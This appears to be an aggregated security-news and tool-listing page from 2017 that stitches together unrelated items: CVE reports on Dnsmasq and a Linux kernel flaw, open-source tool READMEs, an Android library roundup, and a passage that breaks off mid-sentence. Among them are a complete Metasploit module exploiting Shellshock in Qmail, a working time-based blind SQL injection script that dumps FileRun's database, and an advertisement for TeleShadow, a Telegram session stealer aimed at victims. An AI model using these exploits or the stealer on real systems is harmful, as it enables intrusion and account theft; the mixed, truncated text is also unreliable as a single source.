Fi8sVrs

Security researchers have discovered not one or two, but a total of seven security vulnerabilities in the popular open source Dnsmasq network services software, three of which could allow remote code execution on a vulnerable system and hijack it. Dnsmasq is a widely used lightweight network application tool designed to provide DNS (Domain Name System) forwarder, DHCP (Dynamic Host Configuration Protocol) server, router ads and network boot services for small networks. Dnsmasq comes pre-installed on various devices and operating systems, including Linux distributions such as Ubuntu and Debian, home routers, smartphones and Internet of Things (IoT) devices. A shodan scan for "Dnsmasq" reveals around 1.1 million instances worldwide. Recently, Google's security team reviewed Dnsmasq and discovered seven security issues, including DNS-related remote code execution, information disclosure, and denial-of-service (DoS) issues that can be triggered via DNS or DHCP. Since the vulnerabilities have now been patched by Dnsmasq developer and maintainer Simon Kelley, Google researchers have released details and proof-of-concept (PoC) exploit code for each of the vulnerabilities. Out of seven vulnerabilities discovered by the team, three can be exploited to perform remote code execution, three can be used in denial of service attacks, and one information leakage flaw. Here's the List of All Vulnerabilities: CVE-2017-14491—A DNS-based remote code execution vulnerability in Dnsmasq versions before 2.76 is marked as the most severe that allows for unrestricted heap overflows, affecting both directly exposed and internal network setups. CVE-2017-14492—Another remote code execution vulnerability due to a DHCP-based heap overflow issue. CVE-2017-14493—Another noteworthy DHCP-based remote code execution bug caused by a stack buffer overflow. According to Google, this flaw is trivial to exploit if it's used in conjunction with the flaw (CVE-2017-14494) mentioned below. CVE-2017-14494—An information leak in DHCP which can be combined with CVE-2017-14493 to allow attackers bypass ASLR security mechanism and execute arbitrary code on a target system. CVE-2017-14495—A flaw in Dnsmasq which can be exploited to launch a denial of service (DoS) attack by exhausting memory via DNS. The flaw impacts dnsmasq only if one of these options is used: --add-mac, --add-cpe-id or --add-subnet. CVE-2017-14496—Google's Android operating system is specifically affected by this DoS issue which can be exploited by a local hacker or one who is tethered directly to the device. However, Google pointed out the service itself is sandboxed, so the risk to Android users is reduced. CVE-2017-14497—Another DoS issue wherein a large DNS query can crash the software. Since all the issues have already been addressed with the release of Dnsmasq 2.78, Dnsmasq users are advised to update their installations as soon as possible. To patch your devices, make sure to upgrade packages on your system. Google has updated its affected services and released the security fixes to Android partners on 5 September 2017 in October's Android security updates. Other affected Google services are also claimed to be updated. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have also been updated with a patched Dnsmasq. Via https://thehackernews.com/2017/10/dnsmasq-network-services.html

TeleShadow Stealing desktop telegrams has never been so easy ! Set the email and sender details of the sender and recipient and send it to the victim after compiling. How do I use the session file? Delete everything inside folder at "C:\Users\YourName\AppData\Roaming\Telegram Desktop\tdata" Then Replace Uncompressed files inside tdata folder who resiver from victim to your telegram tdata ! What features does it have? Bypass Two-step confirmation Bypass Inherent identity and need 5-digit verification code Support for the official telegram and IGram desktop unofficial only windows ! Thanks to jeje Plus mr3chb1 Rojhelat Report bugs Telegram : @N3verlove Disclaimer: The consequences of any use shall be borne by the person and the manufacturer or the publisher shall not be liable to any Download: TeleShadow-master.zip or git clone https://github.com/ParsingTeam/TeleShadow.git Source: https://github.com/ParsingTeam/TeleShadow

A software which attempts to reconstruct file system structures and recover files. Currently it supports only NTFS. RecuperaBit attempts reconstruction of the directory structure regardless of: missing partition table unknown partition boundaries partially-overwritten metadata quick format You can get more information about the reconstruction algorithms and the architecture used in RecuperaBit by reading my MSc thesis or checking out the slides. Usage usage: main.py [-h] [-s SAVEFILE] [-w] [-o OUTPUTDIR] path Reconstruct the directory structure of possibly damaged filesystems. positional arguments: path path to the disk image optional arguments: -h, --help show this help message and exit -s SAVEFILE, --savefile SAVEFILE path of the scan save file -w, --overwrite force overwrite of the save file -o OUTPUTDIR, --outputdir OUTPUTDIR directory for restored contents and output files The main argument is the path to a bitstream image of a disk or partition. RecuperaBit automatically determines the sectors from which partitions start. RecuperaBit does not modify the disk image, however it does read some parts of it multiple times through the execution. It should also work on real devices, such as /dev/sda but this is not advised for damaged drives. RecuperaBit might worsen the situation by "stressing" a damaged drive or it could crash due to an I/O error. Optionally, a save file can be specified with -s. The first time, after the scanning process, results are saved in the file. After the first run, the file is read to only analyze interesting sectors and speed up the loading phase. Overwriting the save file can be forced with -w. RecuperaBit includes a small command line that allows the user to recover files and export the contents of a partition in CSV or body file format. These are exported in the directory specified by -o (or recuperabit_output). Pypy RecuperaBit can be run with the standard cPython implementation, however speed can be increased by using it with the Pypy interpreter and JIT compiler: pypy main.py /path/to/disk.img Recovery of Files Contents Files can be restored one at a time or recursively, starting from a directory. After the scanning process has completed, you can check the list of partitions that can be recovered by issuing the following command at the prompt: recoverable Each line shows information about a partition. Let's consider the following output example: Partition #0 -> Partition (NTFS, 15.00 MB, 11 files, Recoverable, Offset: 2048, Offset (b): 1048576, Sec/Clus: 8, MFT offset: 2080, MFT mirror offset: 17400) If you want to recover files starting from a specific directory, you can either print the tree on screen with the tree command (very verbose for large drives) or you can export a CSV list of files (see help for details). If you rather want to extract all files from the Root and the Lost Files nodes, you need to know the identifier for the root directory, depending on the file system type. The following are those of file systems supported by RecuperaBit: File System Type Root Id NTFS 5 The id for Lost Files is -1 for every file system. Therefore, to restore Partition #0 in our example, you need to run: restore 0 5 restore 0 -1 The files will be saved inside the output directory specified by -o. License This software is released under the GNU GPLv3. See LICENSE for more details. Download: RecuperaBit-master.zip or git clone https://github.com/Lazza/RecuperaBit.git Source: https://github.com/Lazza/RecuperaBit

Bitcracker BitCracker is the first open source password cracking tool for memory units encrypted with BitLocker (using the password authentication method). Introduction BitLocker (formerly BitLocker Drive Encryption) is a full-disk encryption feature available in recent Windows versions (Ultimate and Enterprise editions of Windows Vista and Windows 7, the Pro and Enterprise editions of Windows 8, 8.1 and 10). BitCracker is a mono-GPU (OpenCL and CUDA) password cracking tool for memory units encrypted with the password authentication method of BitLocker (see picture below). Our attack has been tested on several memory units encrypted with BitLocker running on Windows 7, Window 8.1, Windows 10 (compatible and no-compatible mode) and BitLocker To Go. Requirements Minimum requirements for CUDA implementation: CUDA 7.5 NVIDIA GPU with CC 3.5 or later NVIDIA GPU with Kepler architecture or later Minimum memory requirement is 256 Mb; it may increase depending on the number of passwords processed by each kernel. How To: Use the build.sh script to build 3 executables: Hash extractor BitCracker CUDA version BitCracker OpenCL version The executables are stored in the build directory. Before starting the attack, you need to run bitcracker_hash to extract the hash describing the encrypted memory unit. It also verifies if the input memory unit satisfies BitCracker's requirements. > ./build/bitcracker_hash -h Usage: ./build/bitcracker_hash -i <Encrypted memory unit> -o <output file> Options: -h, --help Show this help -i, --image Path of memory unit encrypted with BitLocker -o, --outfile Output file The extracted hash is fully compatible with the John The Ripper format (see next Section). Then you can use the output hash file to run the BitCracker attack. > ./build/bitcracker_cuda -h Usage: ./build/bitcracker_cuda -f <hash_file> -d <dictionary_file> Options: -h, --help Show this help -f, --hashfile Path to your input hash file (HashExtractor output) -s, --strict Strict check (use only in case of false positives) -d, --dictionary Path to dictionary or alphabet file -g, --gpu GPU device number -t, --passthread Set the number of password per thread threads -b, --blocks Set the number of blocks Note: In case of false positives you can use the -s option, that is a more restrictive check on the correctness of the final result. Altough this check is empirically verified and it works with all the encrypted images in this repo, we can't guarantee that it doesn't lead to false negatives. Use -s option only if BitCracker returns several false positives. In the the run_test.sh script there are several attack examples using the encrypted images provided in this repo: imgWin7: memory unit encrypted with BitLocker using Windows 7 Enteprise edition OS imgWin8: memory unit encrypted with BitLocker using Windows 8 Enteprise edition OS imgWin10Compatible.vhd: memory unit encrypted with BitLocker (compatible mode) using Windows 10 Enteprise edition OS, imgWin10NotCompatible.vhd: memory unit encrypted with BitLocker (not compatible mode) using Windows 10 Enteprise edition OS, imgWin10NotCompatibleLong27.vhd: memory unit encrypted with BitLocker (not compatible mode) using Windows 10 Enteprise edition OS with the longest possible password (27 characters) Currently, BitCracker accepts passwords between 8 (minimum password length) and 27 characters (implementation reasons). BitCracker doesn't provide any mask attack, cache mechanism or smart dictionary creation; therefore you need to provide your own input dictionary. Performance Here we report the best performance of BitCracker implementations tested on different GPUs. GPU Acronim GPU Arch CC # SM Clock CUDA GFT GeForce Titan Kepler 3.5 14 835 7.0 GTK80 Tesla K80 Kepler 3.5 13 875 7.5 GFTX GeForce Titan X Maxwell 5.2 24 1001 7.5 GTP100 Telsa P100 Pascal 6.1 56 1328 8.0 AMDM Radedon Malta - - - - - Performance: Version GPU -t -b Passwords x kernel Passwords/sec Hash/sec CUDA GFT 8 13 106.496 303 635 MH/s CUDA GTK80 8 14 114.688 370 775 MH/s CUDA GFTX 8 24 106.608 933 1.957 MH/s CUDA GTP100 8 56 458.752 1.363 2.858 MH/s OpenCL AMDM 32 64 524.288 241 505 MH/s OpenCL GFTX 8 24 196.608 884 1.853 MH/s John The Ripper We released the OpenCL version as a plugin of John The Ripper (bleeding jumbo): Wiki page: http://openwall.info/wiki/john/OpenCL-BitLocker JtR source code: https://github.com/magnumripper/JohnTheRipper Next Release In the next relese: The maximum password lenght will be dynamic Improve strict check with optional MAC verification to avoid any false positive References, credits and contacts This is a research project in collaboration with the National Research Council of Italy released under GPLv2 license. Copyright (C) 2013-2017 Elena Ago (elena dot ago at gmail dot com) and Massimo Bernaschi (massimo dot bernaschi at gmail dot com) We will provide some additional info about BitCracker's attack in a future paper. Although we use the GPLv2 licence, we are open to collaborations. For any additional info, collaborations or bug report please contact elena dot ago at gmail dot com Download: bitcracker-master.zip or git clone https://github.com/e-ago/bitcracker.git Source: https://github.com/e-ago/bitcracker

Basics Draggable is a modular drag & drop library, allowing you to start small and build up with the features you need. At its most basic, Draggable gives you drag & drop functionality, fast DOM reordering, accessible markup, and a bundle of events to grab on to. Swappable The classic switcheroo. Drag one element over another and watch them trade places in the DOM. The ideal functionality for when layout dimensions need to be retained. Sortable Sort DOM nodes with style. Drag items in a collection from one spot to another and watch everything snap into place. Fast and responsive sorting that won’t leave your performance wallet strapped for frames. Collidable Start your game dev career and inject some collision detection. Collidable will prevent draggable elements from overlapping each other, firing collision events when the dragged source element enters and exits a restricted zone. Accesible Drag & drop accessibility is a delicate flower. While browsers continue to work on a reliable native solution, Draggable lends a helping hand by providing all the proper aria attributes in all the right places. Extensible Draggable is easy to extend – write a custom module that provides the functionality you need, then submit it to our Github repo for review. If you needed a feature that wasn’t already available, chances are the community needs it to. Sharing is caring. Interaction Draggable supports most of the interaction events we could think of – mouse, touch, and force touch are all available out of the box, with accessible keyboard support coming soon! Animation Let’s face it, its annoying when plugins get in the way of your personal design touch. Draggable isn’t going to try and steal the show by forcing any unruly animation styles on you. Simply take your pick from our healthy serving of CSS selectors and style to your heart’s desire. Download v1.0.0-beta.zip or git clone https://github.com/Shopify/draggable.git Sources: https://shopify.github.io/draggable/ https://github.com/Shopify/draggable/

Author: metasploit | Category: remote exploits | Platform: unix Date add: 30-09-2017 | Risk: [Security Risk Critical] | 0day-ID: 0day-ID-28706 | CVE: CVE-2014-6271 This Metasploit module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Smtp def initialize(info={}) super(update_info(info, 'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)', 'Description' => %q{ This module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed. }, 'Author' => [ 'Mario Ledo (Metasploit module)', 'Gabriel Follon (Metasploit module)', 'Kyle George (Vulnerability discovery)' ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2014-6271'], ['CWE', '94'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'], ['URL', 'https://lists.gt.net/qmail/users/138578'] ], 'Payload' => { 'BadChars' => "\x3e", 'Space' => 888, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet perl ruby python' # telnet ruby python and perl works only if installed on target } }, 'Targets' => [ [ 'Automatic', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) deregister_options('MAILFROM') end def smtp_send(data = nil) begin result = '' code = 0 sock.put("#{data}") result = sock.get_once result.chomp! if (result) code = result[0..2].to_i if result return result, code rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError return result, 0 rescue ::Exception => e print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'") return nil, 0 end end def exploit to = datastore['MAILTO'] connect result = smtp_send("HELO localhost\r\n") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end print_status('Sending the payload...') result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end print_status("Sending RCPT TO #{to}") result = smtp_send("rcpt to:<#{to}>\r\n") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end result = smtp_send("data\r\n") if result[1] < 200 || result[1] > 354 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n") if result[1] < 200 || result[1] > 300 fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error')) end disconnect end end # 0day.today [2017-09-30] # Source: http://0day.today/exploit/28706

EDB-ID: 42922 Author: SPARC Published: 2017-09-29 CVE: CVE-2017-14738 Type: Webapps Platform: PHP E-DB Verified: Exploit: Download / View Raw Vulnerable App: #!/usr/bin/env python # Exploit Title: FileRun <=2017.09.18 # Date: September 29, 2017 # Exploit Author: SPARC # Vendor Homepage: https://www.filerun.com/ # Software Link: http://f.afian.se/wl/?id=EHQhXhXLGaMFU7jI8mYNRN8vWkG9LUVP&recipient=d3d3LmZpbGVydW4uY29t # Version: 2017.09.18 # Tested on: Ubuntu 16.04.3, Apache 2.4.7, PHP 7.0 # CVE : CVE-2017-14738 # import sys,time,urllib,urllib2,cookielib from time import sleep print """ #===============================================================# | | | ___| | | | \___ \ __ \ _ \ __ \ __| _ \ __| _` | | | | | | __/ | | | __/ | ( | | | _____/ .__/ \___|_| _|\__|\___|_| \__,_| | | _| | | | | FileRun <= 2017.09.18 | | BlindSQLi Proof of Concept (Post Authentication) | | by Spentera Research (research[at]spentera.id) | | | #===============================================================# """ host = raw_input("[*] Target IP: ") username = raw_input("[*] Username: ") password = raw_input("[*] Password: ") target = 'http://%s/?module=search&section=ajax&page=grid' %(host) delay=1 global cookie,data def masuk(usr,pswd): log_data = { 'username': usr, 'password': pswd } post_data = urllib.urlencode(log_data) cookjar = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookjar)) try: req = urllib2.Request('http://%s/?module=fileman&page=login&action=login'%(host), post_data) content = opener.open(req) global data,cookie data = dict((cookie.name, cookie.value) for cookie in cookjar) cookie = ("language=english; FileRunSID=%s"%(data['FileRunSID'])) return str(content.read()) except: print '\n[-] Uh oh! Exploit fail.. PLEASE CHECK YOUR CREDENTIAL' sys.exit(0) def konek(m,n): #borrow from SQLmap :) query=("7) AND (SELECT * FROM (SELECT(SLEEP(%s-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),%s,1))>%s,0,1)))))wSmD) AND (8862=8862" %(delay,m,n)) values = { 'metafield': query, 'searchType': 'meta', 'keyword': 'work', 'searchPath': '/ROOT/HOME', 'path': '/ROOT/SEARCH' } req = urllib2.Request(target, urllib.urlencode(values)) req.add_header('Cookie', cookie) try: starttime=time.time() response = urllib2.urlopen(req) endtime = time.time() return int(endtime-starttime) except: print '\n[-] Uh oh! Exploit fail..' sys.exit(0) print "[+] Logging in to the application..." sleep(1) cekmasuk = masuk(username,password) if u'success' in cekmasuk: print "[*] Using Time-Based method with %ds delay."%int(delay) print "[+] Starting to dump current database. This might take time.." sys.stdout.write('[+] Target current database is: ') sys.stdout.flush() starttime = time.time() for m in range(1,256): for n in range(32,126): wkttunggu = konek(m,n) if (wkttunggu < delay): sys.stdout.write(chr(n)) sys.stdout.flush() break endtime = time.time() print "\n[+] Done in %d seconds" %int(endtime-starttime) Source: https://www.exploit-db.com/exploits/42922/

Rapid7 Nexpose Community Edition is a free vulnerability scanner & security risk intelligence solution designed for organizations with large networks, prioritize and manage risk effectively. It proactively supports the entire vulnerability management lifecycle, including discovery, detection, verification, risk classification, impact analysis, reporting and mitigation. Nexpose Community Edition Features Data breaches are growing at an alarming rate. Your attack surface is constantly changing, the adversary is becoming more nimble than your security teams, and your board wants to know what you are doing about it. Nexpose gives you the confidence you need to understand your attack surface, focus on what matters, and create better security outcomes. Real Risk Score – The standard 1-10 CVSS score results in thousands of “critical” vulnerabilities. Adaptive Security – With Adaptive Security, you can automatically detect and assess new devices and new vulnerabilities the moment they access your network. Policy Assessment – Hardening your systems is just as important as finding and fixing vulnerabilities. Remediation Reporting – Help IT help you. With Nexpose remediation reports, show IT the 25 actions they can take right now to reduce the most risk. Integration with Metasploit – With Metasploit Pro, you can validate your vulnerability scanner results using an automated, closed-loop process. Powerful Reporting – Do you know where you should invest energy and budget? Compliance Requirements – Stay compliant with PCI DSS, NERC CIP, FISMA (USGCB/FDCC), HIPAA/HITECH, Top 20 CSC, DISA STIGS, and CIS standards. Download Nexpose Community Free You can download Nexpose Community here: Nexpose Community Free 1-Year Trial Or read more here. Sources: https://www.rapid7.com/info/nexpose-community/ https://www.darknet.org.uk/2017/09/rapid7-nexpose-community-edition-free-vulnerability-scanner/

README playSMS version 1.5-dev Official project website: https://playsms.org Official playSMS forum: https://forum.playsms.org/ Official playSMS Facebook page: https://facebook.com/playsmsusergroup Description playSMS is a free and open source SMS management software. A flexible Web-based mobile portal system that it can be made to fit to various services such as an SMS gateway, bulk SMS provider, personal messaging system, corporate and group communication tools Feature Highlights Multiple database engine supported (using included PHP PEAR DB) Send SMS to single mobile phone Send SMS broadcasted to a group of mobile phones, or SMS bulk Support sending text, flash and unicode messages Capable of handling large amount of SMS (a user tested 200k SMS a day) Receive private SMS to Inbox and forward it to email (mobile2web) and user's mobile phone Forward single SMS from mobile to a group of mobile phones Provides SMS to email and email to SMS by polling mailbox SMS autoreply, for easy autoreplying formatted incoming SMS SMS board, forward received SMS to email, export output in JSON and a few other formats SMS command, execute server side shell script using SMS SMS custom, forward incoming SMS to custom apps, locally or hosted on external URL SMS poll, manage polling system using SMS, export output in graph, JSON and other formats SMS quiz, serve quizzes on SMS SMS subscribe, manage user subscribes to a service using SMS SMS sync to utilize SMSSync app from http://smssync.ushahidi.com Blacklist, stoplist and firewall plugin for SMS services protections Create your own features, tools, themes and gateway modules as a plugin Supports Gammu, Kannel, SMS Server Tools, Jasmin, Playnet, Uplink, Nexmo, Twilio, Infobip, Clickatell, BulkSMS, Orange Supports multiple active SMSC Supports simulation gateway for testing incoming and outgoing SMS Route outgoing SMS by prefix Route outgoing SMS per user Route incoming SMS to users or URL Webservices for sending SMS, retrieving delivery reports, checking credits and more Long SMS support, length of text is configurable Rate SMS by destination prefix SMS credit system per user Multiple SMSC activated and routable Timezone settings Multi-language user interface (English, French, Bahasa Indonesia, Russian and a few others) Easily add new language for user interface Web-based interface Android app for playSMS available on Google Play Store Multi-domain from single playSMS installation with site branding for reseller supports License playSMS is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. playSMS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with playSMS. If not, see http://www.gnu.org/licenses/ You may find detail information about GPLv3 here: http://www.gnu.org/licenses/gpl-3.0.html The GPLv3 full text is included in file LICENSE.md Installation Please read INSTALL and then FAQ. Project Founder and Maintainer Anton Raharja (http://antonraharja.com) Contribuitors Information about code contributors can be found in this URL: https://github.com/antonraharja/playSMS/graphs/contributors Download: playSMS-master.zip or git clone https://github.com/touhidshaikh/playSMS.git Source: https://github.com/touhidshaikh/playSMS

The summer is over and this is a great time to present my subjective list of 30 Android libraries and projects released in the last 3 months. Some of them can be used in production, some of them definitely not, but playing with all of them will be pure fun. They are definitely worthy to check. Enjoy! 1. MaterialStepperView This is a library which implements Steppers from Material Design Components. Currently, there is only Vertical Stepper View but more styles will come in the future. You can check, how it looks below: You can customise normal/active point colour, done icon, as well as enable animation and set its duration. To check it, please visit Set item values and styles on its Github. This library supports API 17+ and has a quite comprehensive wiki available here. https://github.com/fython/MaterialStepperView 2. MultiSnapRecyclerView This is an Android Library for multiple snapping of RecyclerView. MultiSnapRecyclerView easily provides a snapping feature to your RecyclerView. Currently it offers: gravitated snapping to start, end and center, snap count to specify a number of items to scroll over, support for horizontal and vertical scrolling, listener to be called when snapped. Below is the example, how to use the library. https://github.com/TakuSemba/MultiSnapRecyclerView 3. Garland View for Android This is a library that we can consider as a skeleton for creating layouts as presented below: Rest of the important information you can find in README. There is also an example app. The library supports API 19 and above. https://github.com/Ramotion/garland-view-android 4. VegaLayoutManager This is a customised LayoutManager — fade and shrink the head itemView when scrolling. It was inspired by this Dribble project. https://github.com/xmuSistone/VegaLayoutManager/blob/master/VegaLayoutManager/library/src/main/java/com/stone/vega/library/VegaLayoutManager.java 5. ExpandableLayout The name of this library is self-explanatory. It is a expandable layout, based on LinearLayout. README contains all information you need to get started. It is well-documented. In addition, there is an example app to quickly jump to the code. https://github.com/iammert/ExpandableLayout 6. SwipeBackLayout SwipeBackLayout must contain only one direct child, such as: LinearLayout, RelativeLayout, FrameLayout, TableLayout etc. ScrollView, HorizontalScrollView, NestedScrollView etc. RecyclerView, a subClass of AbsListView(ListView etc.) ViewPager, WebView etc. The project has a comprehensive documentation, sample app and an APK. https://github.com/gongwen/SwipeBackLayout 7. SmartCropper Features: Crop image in a smart way that can identify the border, support drag anchors, magnifying glass effect to enhance the positioning experience, use the perspective transform to crop and correct the selection to restore the front image, support rich UI settings, such as auxiliary lines, mask, anchor, magnifying glass and so on. Currently, the library uses optimised points sorting algorithm. CropImageView has selection magnifying effect and it can use CropImageView XML settings. https://github.com/pqpo/SmartCropper 8. Date Range Picker A description of the project is well-written and easy to read. https://github.com/savvisingh/DateRangePicker 9. StoriesProgressView Everybody knows Stories which Facebook and Instagram presented on their apps. Here is a library which introduces StoriesProgressView which extends LinearLayout and allows you to add View like below: The project contains a short but comprehensive README along with sample app. https://github.com/shts/StoriesProgressView 10. CosmoCalendar This library is a custom calendar which offers many features and UI modifications like: changing calendar orientation, setting custom text colours, setting selection types and colours, defining navigation buttons etc., many more. https://github.com/AppliKeySolutions/CosmoCalendar 11. Reflow Text Animator I hope everybody heard about Plaid app. This library developed by Shazam Engineering team, is a The library is really easy to use, plug and play! https://github.com/shazam/reflow-animator 12. AdaptiveIconPlayground This is not a library, but a standalone Android app developed by Nick Butcher for experimenting with adaptive icons. According to the README: https://github.com/nickbutcher/AdaptiveIconPlayground 13. Tivi Tivi is an application which tracks TV shows and it is connected to Track.tv. It is developed by Chris Banes. The work is still in progress but what is important, it uses the cutting-edge components, libraries and tools which includes: Kotlin, RxJava 2, usage of all of the Architecture Components (Room, LiveData and Lifecycle-components) and usage of dagger-android for dependency injection. https://github.com/chrisbanes/tivi 14. RxIdler This is an IdlingResource for Espresso which wraps an RxJava Scheduler developed by Square Engineering. It supports RxJava 1 and RxJava 2 as well. Happy Instrumentation testing! https://github.com/square/RxIdler 15. MRichEditor This is a rich text editor sample (based on summernote). It supports many features, including: Bold, Italic, Underline, Strike-through, Headings (1, 2, 3, 4, 5, 6), Paragraph, Quote, (Un)Ordered List, Code, Horizontal Rule, Link, Image, Justify (Center, Fill, Left, Right), Subscript, Superscript, Font Name and Size, Indent, Outdent, Undo / Redo. In this case you need to base on the sample app, as there is almost no documentation. https://github.com/Even201314/MRichEditor 16. Android Clean Architecture Boilerplate This is boilerplate app that shows a clean architecture approach to Android apps developed by Buffer team and Joe Birch. Reasons for creating this boilerplate: To share some approaches to clean architecture. To use as a starting point in future projects where clean architecture feels appropriate. The project is written 100% in Kotlin with both UI and Unit tests. It is really well-documented and great for education purposes! 100% recommendation. https://github.com/bufferapp/android-clean-architecture-boilerplate 17. RxJava2Debug If you use RxJava, you know that sometimes it is difficult to read exceptions and find an issue in your Rx stream. And this is the reason why this library was created. You can read more about rational in README. The library offers: stack trace generation, stack trace filtering. https://github.com/akaita/RxJava2Debug 18. Resizer The library is inspired by Compressor library. The library specification: Minimum SDK: API 21 Default settings: targetLength: 1080 quality: 80 outputFormat: JPEG outputDirPath: the external files directory of your app Supported input formats: BMP GIF JPEG PNG WEBP Supported output formats: JPEG PNG WEBP Supported quality range: 0~100 The higher value, the better image quality but larger file size PNG, which is a lossless format, will ignore the quality setting https://github.com/hkk595/Resizer 19. FaceDetector This library allows you to detect faces in real time on a camera preview. It greatly works with Fotoapparat library, but is supports also other camera libraries and sources. The usage is simple and the project is quite well documented. https://github.com/Fotoapparat/FaceDetector 20. RxGps This is another library from Florent Champigny. It easily finds a current location for us. It is RxJava2 compatible. It also automatically asks for GPS runtime permissions and checks if play services are available for you. https://github.com/florent37/RxGps 21. MapMe MapMe is an Android library for working with Maps. MapMe brings the adapter pattern to Maps, simplifying the management of markers and annotations. MapMe works with Google Maps and Mapbox. README is comprehensive and the library is written in Kotlin. https://github.com/TradeMe/MapMe 22. RevelyGradient This is a library for an easy gradient management. You can use it in Java or in Kotlin. Documentation is short but enough to start with ease. https://github.com/revely-inc/co.revely.gradient 23. LiteUtilities This is a library written in Kotlin, which helps to eliminate boilerplate from your code. Currently it offers: RecyclerUtils — Remove the need to make an adapter everytime, set up recycler adapter in as little as 4 lines. ScrollUtils — Easily hide/show FloationActionButton on scroll when using RecyclerView or NestedScrollView. ToastUtils — Creating toasts are just a function away. SPUtils — Simple DSL for Shared Preferences. ValidatorUtils — Fast and simple text validation. LogUtils — Simple and easy android logging. https://github.com/gurleensethi/LiteUtilities 24. KOIN According to the author, there is: No proxy/CGLib, No code generation, No introspection Its documentation is really good, with examples and wiki. There are also contact information (even with Slack). https://github.com/Ekito/koin 25. koptional Rationale according to authors: We also think that in many cases you can use sealed classes to express absent values, however in simple cases like passing String? through Rx stream Optional is a more convenient solution. For more go to their Github. https://github.com/gojuno/koptional 26. Parallax This is an easy parallax View for Android simulating Apple TV App Icons. README is really good and worthy to check. https://github.com/imablanco/Parallax 27. droid-vizu https://github.com/wotomas/droid-vizu 28. Drone This is not the Android library but a library manager delivered by César Ferreira. It was written due to jealousy of the node.js community for their fast and reliable dependency managers. So instead of googling a library, checking it, reading docs etc., you just do: drone add creator/library module For instance: drone add jakewharton/butterknife The documentation is really good and this is really worthy to check. https://github.com/cesarferreira/drone 29. From-design-to-Android-part2 This is a project covering creating neat UI on Android. This time, Saúl Molinero covers: using ShapeShifter tool by Alex Lockwood AndroidVectorDrawables, ScaleDrawables, Adaptive Icons and more. It is a truly great lecture! https://github.com/saulmm/From-design-to-Android-part2 30. Reagent Reagent is a Jake Wharton place for experiments for future reactive libraries. Should you use it? No. https://github.com/JakeWharton/Reagent Source: https://medium.com/@mmbialas/30-new-android-libraries-and-projects-released-in-summer-2017-which-should-catch-your-attention-d3702bd9bdc6

A bug in Linux kernel that was discovered two years ago, but was not considered a security threat at that time, has now been recognised as a potential local privilege escalation flaw. Identified as CVE-2017-1000253, the bug was initially discovered by Google researcher Michael Davidson in April 2015. Since it was not recognised as a serious bug at that time, the patch for this kernel flaw was not backported to long-term Linux distributions in kernel 3.10.77. However, researchers at Qualys Research Labs has now found that this vulnerability could be exploited to escalate privileges and it affects all major Linux distributions, including Red Hat, Debian, and CentOS. The vulnerability left "all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable," Qualys said in an advisory published yesterday. The vulnerability, which has been given a CVSS3 Base Score of 7.8 out of 10, resides in the way Linux kernel loads ELF executables, which potentially results in memory corruption. Researchers find that an unprivileged local user with access to SUID (or otherwise privileged) Position Independent Executable (PIE) binary could use this vulnerability to escalate their privileges on the affected system. In order to mitigate this issue, users can switch to the legacy mmap layout by setting vm.legacy_va_layout to 1, which will effectively disable the exploitation of this security flaw. Since the mmap allocations start much lower in the process address space and follow the bottom-up allocation model, "the initial PIE executable mapping is far from the reserved stack area and cannot interfere with the stack." Qualys says this flaw is not limited to the PIEs whose read-write segment is larger than 128MB, which is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack. So, when passing 1.5GB of argument strings to execve(), any PIE can be mapped directly below the stack and trigger the vulnerability. Linux distributions, including Red Hat, Debian, and CentOS, have released security updates to address the vulnerability. The Qualys team has promised to publish a proof-of-concept soon exploit that works on CentOS-7 kernel versions "3.10.0-514.21.2.el7.x86_64" and 